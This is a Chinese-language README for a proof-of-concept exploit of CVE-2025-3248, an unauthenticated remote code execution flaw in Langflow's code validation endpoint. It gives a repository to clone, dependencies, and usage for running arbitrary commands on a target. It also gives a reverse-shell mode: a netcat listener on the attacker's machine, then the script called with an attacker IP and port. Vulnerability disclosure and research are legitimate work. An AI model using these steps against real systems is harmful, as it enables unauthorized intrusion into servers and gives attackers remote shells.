CVE-2025-3248 - Langflow 代码验证端点 RCE

一个概念验证（PoC）漏洞利用程序，演示了 Langflow 代码验证端点中的远程代码执行漏洞。该漏洞影响 1.3.0 之前的 Langflow 版本，允许未经身份验证的攻击者通过精心构造的 HTTP 请求执行任意代码。

漏洞详情

• CVE ID: CVE-2025-3248
• 受影响版本: < 1.3.0
• 攻击向量: 远程
• 所需身份验证: 无
• 影响: 远程代码执行 (RCE)
• 端点: /api/v1/validate/code

前提条件

• Python 3.x
• 所需的 Python 包：
  • requests
  • colorama

安装

1. 克隆仓库：

git clone https://github.com/preemware/langflow-exploit
cd langflow-exploit

2. 安装依赖：

pip install requests colorama

使用方法

该漏洞利用程序支持两种操作模式：

1. 命令执行模式

在目标系统上执行单条命令：

python3 cve-2025-3248.py cmd <target_url> "<command>"

示例：

python3 cve-2025-3248.py cmd http://target:7860 "id"

2. 反弹 Shell 模式

生成一个交互式反弹 Shell：

1. 首先，在您的机器上启动一个监听器：

nc -lvnp 4444

2. 然后运行漏洞利用程序：

python3 cve-2025-3248.py shell <target_url> <your_ip> <your_port>

示例：

python3 cve-2025-3248.py shell http://target:7860 10.0.0.5 4444